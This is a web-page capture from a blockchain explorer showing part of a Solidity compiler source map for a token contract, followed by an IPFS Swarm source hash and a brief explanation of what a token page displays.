:56;4790:5;4740:56;:::i;:::-;4819:7;4850:1;4835:284;4860:6;4857:1;4854:13;4835:284;;;4936:6;4930:13;4963:63;5022:3;5007:13;4963:63;:::i;:::-;4956:70;;5049:60;5102:6;5049:60;:::i;:::-;5039:70;;4895:224;4882:1;4879;4875:9;4870:14;;4835:284;;;4839:14;5135:3;5128:10;;4536:608;;;;;;;:::o;5150:109::-;5231:21;5246:5;5231:21;:::i;:::-;5226:3;5219:34;5209:50;;:::o;5265:147::-;5360:45;5399:5;5360:45;:::i;:::-;5355:3;5348:58;5338:74;;:::o;5418:364::-;;5534:39;5567:5;5534:39;:::i;:::-;5589:71;5653:6;5648:3;5589:71;:::i;:::-;5582:78;;5669:52;5714:6;5709:3;5702:4;5695:5;5691:16;5669:52;:::i;:::-;5746:29;5768:6;5746:29;:::i;:::-;5741:3;5737:39;5730:46;;5510:272;;;;;:::o;5788:367::-;;5951:67;6015:2;6010:3;5951:67;:::i;:::-;5944:74;;6048:34;6044:1;6039:3;6035:11;6028:55;6114:5;6109:2;6104:3;6100:12;6093:27;6146:2;6141:3;6137:12;6130:19;;5934:221;;;:::o;6161:306::-;;6324:66;6388:1;6383:3;6324:66;:::i;:::-;6317:73;;6420:11;6416:1;6411:3;6407:11;6400:32;6458:2;6453:3;6449:12;6442:19;;6307:160;;;:::o;6473:370::-;;6636:67;6700:2;6695:3;6636:67;:::i;:::-;6629:74;;6733:34;6729:1;6724:3;6720:11;6713:55;6799:8;6794:2;6789:3;6785:12;6778:30;6834:2;6829:3;6825:12;6818:19;;6619:224;;;:::o;6849:330::-;;7012:67;7076:2;7071:3;7012:67;:::i;:::-;7005:74;;7109:34;7105:1;7100:3;7096:11;7089:55;7170:2;7165:3;7161:12;7154:19;;6995:184;;;:::o;7185:369::-;;7348:67;7412:2;7407:3;7348:67;:::i;:::-;7341:74;;7445:34;7441:1;7436:3;7432:11;7425:55;7511:7;7506:2;7501:3;7497:12;7490:29;7545:2;7540:3;7536:12;7529:19;;7331:223;;;:::o;7560:322::-;;7723:67;7787:2;7782:3;7723:67;:::i;:::-;7716:74;;7820:26;7816:1;7811:3;7807:11;7800:47;7873:2;7868:3;7864:12;7857:19;;7706:176;;;:::o;7888:323::-;;8051:67;8115:2;8110:3;8051:67;:::i;:::-;8044:74;;8148:27;8144:1;8139:3;8135:11;8128:48;8202:2;8197:3;8193:12;8186:19;;8034:177;;;:::o;8217:118::-;8304:24;8322:5;8304:24;:::i;:::-;8299:3;8292:37;8282:53;;:::o;8341:112::-;8424:22;8440:5;8424:22;:::i;:::-;8419:3;8412:35;8402:51;;:::o;8459:222::-;;8590:2;8579:9;8575:18;8567:26;;8603:71;8671:1;8660:9;8656:17;8647:6;8603:71;:::i;:::-;8557:124;;;;:::o;8687:332::-;;8846:2;8835:9;8831:18;8823:26;;8859:71;8927:1;8916:9;8912:17;8903:6;8859:71;:::i;:::-;8940:72;9008:2;8997:9;8993:18;8984:6;8940:72;:::i;:::-;8813:206;;;;;:::o;9025:210::-;;9150:2;9139:9;9135:18;9127:26;;9163:65;9225:1;9214:9;9210:17;9201:6;9163:65;:::i;:::-;9117:118;;;;:::o;9241:313::-;;9392:2;9381:9;9377:18;9369:26;;9441:9;9435:4;9431:20;9427:1;9416:9;9412:17;9405:47;9469:78;9542:4;9533:6;9469:78;:::i;:::-;9461:86;;9359:195;;;;:::o;9560:419::-;;9764:2;9753:9;9749:18;9741:26;;9813:9;9807:4;9803:20;9799:1;9788:9;9784:17;9777:47;9841:131;9967:4;9841:131;:::i;:::-;9833:139;;9731:248;;;:::o;9985:419::-;;10189:2;10178:9;10174:18;10166:26;;10238:9;10232:4;10228:20;10224:1;10213:9;10209:17;10202:47;10266:131;10392:4;10266:131;:::i;:::-;10258:139;;10156:248;;;:::o;10410:419::-;;10614:2;10603:9;10599:18;10591:26;;10663:9;10657:4;10653:20;10649:1;10638:9;10634:17;10627:47;10691:131;10817:4;10691:131;:::i;:::-;10683:139;;10581:248;;;:::o;10835:419::-;;11039:2;11028:9;11024:18;11016:26;;11088:9;11082:4;11078:20;11074:1;11063:9;11059:17;11052:47;11116:131;11242:4;11116:131;:::i;:::-;11108:139;;11006:248;;;:::o;11260:419::-;;11464:2;11453:9;11449:18;11441:26;;11513:9;11507:4;11503:20;11499:1;11488:9;11484:17;11477:47;11541:131;11667:4;11541:131;:::i;:::-;11533:139;;11431:248;;;:::o;11685:419::-;;11889:2;11878:9;11874:18;11866:26;;11938:9;11932:4;11928:20;11924:1;11913:9;11909:17;11902:47;11966:131;12092:4;11966:131;:::i;:::-;11958:139;;11856:248;;;:::o;12110:419::-;;12314:2;12303:9;12299:18;12291:26;;12363:9;12357:4;12353:20;12349:1;12338:9;12334:17;12327:47;12391:131;12517:4;12391:131;:::i;:::-;12383:139;;12281:248;;;:::o;12535:222::-;;12666:2;12655:9;12651:18;12643:26;;12679:71;12747:1;12736:9;12732:17;12723:6;12679:71;:::i;:::-;12633:124;;;;:::o;12763:831::-;;13064:3;13053:9;13049:19;13041:27;;13078:71;13146:1;13135:9;13131:17;13122:6;13078:71;:::i;:::-;13159:80;13235:2;13224:9;13220:18;13211:6;13159:80;:::i;:::-;13286:9;13280:4;13276:20;13271:2;13260:9;13256:18;13249:48;13314:108;13417:4;13408:6;13314:108;:::i;:::-;13306:116;;13432:72;13500:2;13489:9;13485:18;13476:6;13432:72;:::i;:::-;13514:73;13582:3;13571:9;13567:19;13558:6;13514:73;:::i;:::-;13031:563;;;;;;;;:::o;13600:214::-;;13727:2;13716:9;13712:18;13704:26;;13740:67;13804:1;13793:9;13789:17;13780:6;13740:67;:::i;:::-;13694:120;;;;:::o;13820:283::-;;13886:2;13880:9;13870:19;;13928:4;13920:6;13916:17;14035:6;14023:10;14020:22;13999:18;13987:10;13984:34;13981:62;13978:2;;;14046:18;;:::i;:::-;13978:2;14086:10;14082:2;14075:22;13860:243;;;;:::o;14109:311::-;;14276:18;14268:6;14265:30;14262:2;;;14298:18;;:::i;:::-;14262:2;14348:4;14340:6;14336:17;14328:25;;14408:4;14402;14398:15;14390:23;;14191:229;;;:::o;14426:132::-;;14516:3;14508:11;;14546:4;14541:3;14537:14;14529:22;;14498:60;;;:::o;14564:114::-;;14665:5;14659:12;14649:22;;14638:40;;;:::o;14684:99::-;;14770:5;14764:12;14754:22;;14743:40;;;:::o;14789:113::-;;14891:4;14886:3;14882:14;14874:22;;14864:38;;;:::o;14908:184::-;;15041:6;15036:3;15029:19;15081:4;15076:3;15072:14;15057:29;;15019:73;;;;:::o;15098:169::-;;15216:6;15211:3;15204:19;15256:4;15251:3;15247:14;15232:29;;15194:73;;;;:::o;15273:305::-;;15332:20;15350:1;15332:20;:::i;:::-;15327:25;;15366:20;15384:1;15366:20;:::i;:::-;15361:25;;15520:1;15452:66;15448:74;15445:1;15442:81;15439:2;;;15526:18;;:::i;:::-;15439:2;15570:1;15567;15563:9;15556:16;;15317:261;;;;:::o;15584:348::-;;15647:20;15665:1;15647:20;:::i;:::-;15642:25;;15681:20;15699:1;15681:20;:::i;:::-;15676:25;;15869:1;15801:66;15797:74;15794:1;15791:81;15786:1;15779:9;15772:17;15768:105;15765:2;;;15876:18;;:::i;:::-;15765:2;15924:1;15921;15917:9;15906:20;;15632:300;;;;:::o;15938:191::-;;15998:20;16016:1;15998:20;:::i;:::-;15993:25;;16032:20;16050:1;16032:20;:::i;:::-;16027:25;;16071:1;16068;16065:8;16062:2;;;16076:18;;:::i;:::-;16062:2;16121:1;16118;16114:9;16106:17;;15983:146;;;;:::o;16135:96::-;;16201:24;16219:5;16201:24;:::i;:::-;16190:35;;16180:51;;;:::o;16237:90::-;;16314:5;16307:13;16300:21;16289:32;;16279:48;;;:::o;16333:126::-;;16410:42;16403:5;16399:54;16388:65;;16378:81;;;:::o;16465:77::-;;16531:5;16520:16;;16510:32;;;:::o;16548:86::-;;16623:4;16616:5;16612:16;16601:27;;16591:43;;;:::o;16640:121::-;;16731:24;16749:5;16731:24;:::i;:::-;16718:37;;16708:53;;;:::o;16767:307::-;16835:1;16845:113;16859:6;16856:1;16853:13;16845:113;;;16944:1;16939:3;16935:11;16929:18;16925:1;16920:3;16916:11;16909:39;16881:2;16878:1;16874:10;16869:15;;16845:113;;;16976:6;16973:1;16970:13;16967:2;;;17056:1;17047:6;17042:3;17038:16;17031:27;16967:2;16816:258;;;;:::o;17080:180::-;17128:77;17125:1;17118:88;17225:4;17222:1;17215:15;17249:4;17246:1;17239:15;17266:180;17314:77;17311:1;17304:88;17411:4;17408:1;17401:15;17435:4;17432:1;17425:15;17452:102;;17544:2;17540:7;17535:2;17528:5;17524:14;17520:28;17510:38;;17500:54;;;:::o;17560:122::-;17633:24;17651:5;17633:24;:::i;:::-;17626:5;17623:35;17613:2;;17672:1;17669;17662:12;17613:2;17603:79;:::o;17688:116::-;17758:21;17773:5;17758:21;:::i;:::-;17751:5;17748:32;17738:2;;17794:1;17791;17784:12;17738:2;17728:76;:::o;17810:122::-;17883:24;17901:5;17883:24;:::i;:::-;17876:5;17873:35;17863:2;;17922:1;17919;17912:12;17863:2;17853:79;:::o

Swarm Source

ipfs://ccc935b6d41ad87e2962a52b5391218fe178b85525117a9afa73f4aab6af1bb0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.